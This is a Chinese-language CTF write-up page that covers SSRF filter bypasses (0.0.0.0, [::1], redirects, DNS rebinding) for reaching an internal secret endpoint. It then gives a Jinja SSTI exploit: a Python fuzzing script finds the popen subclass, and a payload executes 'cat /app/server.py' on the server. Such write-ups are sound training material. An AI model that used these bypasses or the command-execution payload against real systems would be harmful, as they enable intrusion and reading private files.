C
C
CTF-WriteUp
Search
⌃K

Web进阶2

反序列化漏洞

tp5.1.x的反序列化漏洞。

Python中的安全问题

Python里的SSRF

发现127.0.0.1被禁用,给了提示
尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
官方wp给了多种解法
  • 0.0.0.0:8000 绕过
127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。
  • [::1]:8000 绕过(需要支持 ipv6)
  • 重定向跳转到 127.0.0.1:8000
  • dns rebinding 输入一个域名,第一次解析到非 127.0.0.1 地址上,第二个解析到 127.0.0.1 上。

SSTI

没有WAF,fuzz一下popen函数
import requests
for i in range(512):
password = f"%22%22.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__"
url = f"http://1de70960-ff51-4887-b604-2f07b94f49bc.node3.buuoj.cn/?password=" + "{{" + password + "}}"
print(url)
payload = {}
files = []
headers = {}
response = requests.request("GET", url, headers=headers, data=payload, files=files)
if response.text.find('popen') != -1:
print(i)
exit(1)
fuzz到127,直接读就行。
?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}